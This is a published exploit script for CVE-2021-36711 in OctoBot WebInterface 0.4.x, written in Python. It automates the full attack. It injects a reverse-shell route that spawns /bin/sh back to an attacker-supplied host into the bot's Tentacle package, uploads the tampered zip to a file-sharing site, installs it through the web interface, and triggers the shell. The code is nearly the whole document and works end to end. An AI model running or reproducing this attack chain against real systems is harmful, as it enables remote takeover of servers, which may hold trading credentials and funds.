Exploit Title: OctoBot WebInterface 0.4.3 – Remote Code Execution (RCE)
Exploit Author: Samy Younsi, Thomas Knudsen
Vendor Homepage: https://www.octobot[DOT]online/
Software Link: https://github.com/Drakkar-Software/OctoBot
Version: 0.4.0beta3 – 0.4.3
Tested on: Linux (Ubuntu, CentOs)
CVE : CVE-2021-36711
from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import zipfile
import time
import sys
import os
def banner():
sashimiLogo = """
_________ . .
(.. \_ , |\ /|
\ O \ /| \ \/ /
\______ \/ | \ /
vvvv\ \ | / |
_ _ _ _ \^^^^ == \_/ |
| | __ _ | || |__ (_)_ __ ___ (_)`\_ === \. |
/ __)/ _` / __| '_ \| | '_ ` _ \| |/ /\_ \ / |
\__ | (_| \__ | | | | | | | | | | ||/ \_ \| /
( /\__,_( |_| |_|_|_| |_| |_|_| \________/
|_| |_| \033[1;91mOctoBot Killer\033[1;m
Author: \033[1;92mNaqwada\033[1;m
RuptureFarm 1029
FOR EDUCATIONAL PURPOSE ONLY.
"""
return print('\033[1;94m{}\033[1;m'.format(sashimiLogo))
def help():
print('[!] \033[1;93mUsage: \033[1;m')
print('[-] python3 {} --RHOST \033[1;92mTARGET_IP\033[1;m --RPORT \033[1;92mTARGET_PORT\033[1;m --LHOST \033[1;92mYOUR_IP\033[1;m --LPORT \033[1;92mYOUR_PORT\033[1;m'.format(sys.argv[0]))
print('[-] \033[1;93mNote*\033[1;m If you are using a hostname instead of an IP address please remove http:// or https:// and try again.')
def getOctobotVersion(RHOST, RPORT):
if RPORT == 443:
url = 'https://{}:{}/api/version'.format(RHOST, RPORT)
else:
url = 'http://{}:{}/api/version'.format(RHOST, RPORT)
return curl(url)
def restartOctobot(RHOST, RPORT):
if RPORT == 443:
url = 'https://{}:{}/commands/restart'.format(RHOST, RPORT)
else:
url = 'http://{}:{}/commands/restart'.format(RHOST, RPORT)
try:
requests.get(url, allow_redirects=False, verify=False, timeout=1)
except requests.exceptions.ConnectionError as e:
print('[+] \033[1;92mOctoBot is restarting ... Please wait 30 seconds.\033[1;m')
time.sleep(30)
def downloadTentaclePackage(octobotVersion):
print('[+] \033[1;92mStart downloading Tentacle package for OctoBot {}.\033[1;m'.format(octobotVersion))
url = 'https://static.octobot.online/tentacles/officials/packages/full/base/{}/any_platform.zip'.format(octobotVersion)
result = requests.get(url, stream=True)
with open('{}.zip'.format(octobotVersion), 'wb') as fd:
for chunk in result.iter_content(chunk_size=128):
fd.write(chunk)
print('[+] \033[1;92mDownload completed!\033[1;m')
def unzipTentaclePackage(octobotVersion):
zip = zipfile.ZipFile('{}.zip'.format(octobotVersion))
zip.extractall('quests')
os.remove('{}.zip'.format(octobotVersion))
print('[+] \033[1;92mTentacle package has been extracted.\033[1;m')
def craftBackdoor(octobotVersion):
print('[+] \033[1;92mCrafting backdoor for Octobot Tentacle Package {}...\033[1;m'.format(octobotVersion))
path = 'quests/reference_tentacles/Services/Interfaces/web_interface/api/'
injectInitFile(path)
injectMetadataFile(path)
print('[+] \033[1;92mSashimi malicious Tentacle Package for OctoBot {} created!\033[1;m'.format(octobotVersion))
def injectMetadataFile(path):
with open('{}metadata.py'.format(path),'r') as metadataFile:
content = metadataFile.read()
addPayload = content.replace('import json', ''.join('import json\nimport flask\nimport sys, socket, os, pty'))
addPayload = addPayload.replace('@api.api.route("/announcements")', ''.join('@api.api.route("/sashimi")\ndef sashimi():\n\ts = socket.socket()\n\ts.connect((flask.request.args.get("LHOST"), int(flask.request.args.get("LPORT"))))\n\t[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\n\tpty.spawn("/bin/sh")\n\n\n@api.api.route("/announcements")'))
with open('{}metadata.py'.format(path),'w') as newMetadataFile:
newMetadataFile.write(addPayload)
def injectInitFile(path):
with open('{}__init__.py'.format(path),'r') as initFile:
content = initFile.read()
addPayload = content.replace('announcements,', ''.join('announcements,\n\tsashimi,'))
addPayload = addPayload.replace('"announcements",', ''.join('"announcements",\n\t"sashimi",'))
with open('{}__init__.py'.format(path),'w') as newInitFile:
newInitFile.write(addPayload)
def rePackTentaclePackage():
print('[+] \033[1;92mRepacking Tentacle package.\033[1;m')
with zipfile.ZipFile('any_platform.zip', mode='w') as zipf:
len_dir_path = len('quests')
for root, _, files in os.walk('quests'):
for file in files:
file_path = os.path.join(root, file)
zipf.write(file_path, file_path[len_dir_path:])
def uploadMaliciousTentacle():
print('[+] \033[1;92mUploading Sashimi malicious Tentacle .ZIP package on anonfiles.com" link="https://app.recordedfuture.com/live/sc/entity/idn:anonfiles.com" style="">anonfiles.com... May take a minute.\033[1;m')
file = {
'file': open('any_platform.zip', 'rb'),
}
response = requests.post('https://api.anonfiles.com/upload', files=file, timeout=60)
zipLink = response.json()['data']['file']['url']['full']
response = requests.get(zipLink, timeout=60)
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
zipLink = soup.find(id='download-url').get('href')
print('[+] \033[1;92mSashimi malicious Tentacle has been successfully uploaded. {}\033[1;m'.format(zipLink))
return zipLink
def curl(url):
response = requests.get(url, allow_redirects=False, verify=False, timeout=60)
return response
def injectBackdoor(RHOST, RPORT, zipLink):
print('[+] \033[1;92mInjecting Sashimi malicious Tentacle packages in Ocotobot... May take a minute.\033[1;m')
if RPORT == 443:
url = 'https://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT)
else:
url = 'http://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT)
headers = {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest',
}
data = '{"'+zipLink+'":"register_and_install"}'
response = requests.post(url, headers=headers, data=data)
response = response.content.decode('utf-8').replace('"', '').strip()
os.remove('any_platform.zip')
if response != 'Tentacles installed':
print('[!] \033[1;91mError: Something went wrong while trying to install the malicious Tentacle package.\033[1;m')
exit()
print('[+] \033[1;92mSashimi malicious Tentacle package has been successfully installed on the OctoBot target.\033[1;m')
def execReverseShell(RHOST, RPORT, LHOST, LPORT):
print('[+] \033[1;92mExecuting reverse shell on {}:{}.\033[1;m'.format(LHOST, LPORT))
if RPORT == 443:
url = 'https://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)
else:
url = 'http://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)
return curl(url)
def isPassword(RHOST, RPORT):
if RPORT == 443:
url = 'https://{}:{}'.format(RHOST, RPORT)
else:
url = 'http://{}:{}'.format(RHOST, RPORT)
return curl(url)
def main():
banner()
args = parser.parse_args()
if isPassword(args.RHOST, args.RPORT).status_code != 200:
print('[!] \033[1;91mError: This Octobot Platform seems to be protected with a password!\033[1;m')
octobotVersion = getOctobotVersion(args.RHOST, args.RPORT).content.decode('utf-8').replace('"','').replace('OctoBot ','')
if len(octobotVersion) > 0:
print('[+] \033[1;92mPlatform OctoBot {} detected.\033[1;m'.format(octobotVersion))
downloadTentaclePackage(octobotVersion)
unzipTentaclePackage(octobotVersion)
craftBackdoor(octobotVersion)
rePackTentaclePackage()
zipLink = uploadMaliciousTentacle()
injectBackdoor(args.RHOST, args.RPORT, zipLink)
restartOctobot(args.RHOST, args.RPORT)
execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='POC script that exploits the Tentacles upload functionalities on OctoBot. A vulnerability has been found and can execute a reverse shell by crafting a malicious packet. Version affected from 0.4.0b3 to 0.4.0b10 so far.', add_help=False)
parser.add_argument('-h', '--help', help=help())
parser.add_argument('--RHOST', help="Refers to the IP of the target machine.", type=str, required=True)
parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True)
parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
main()
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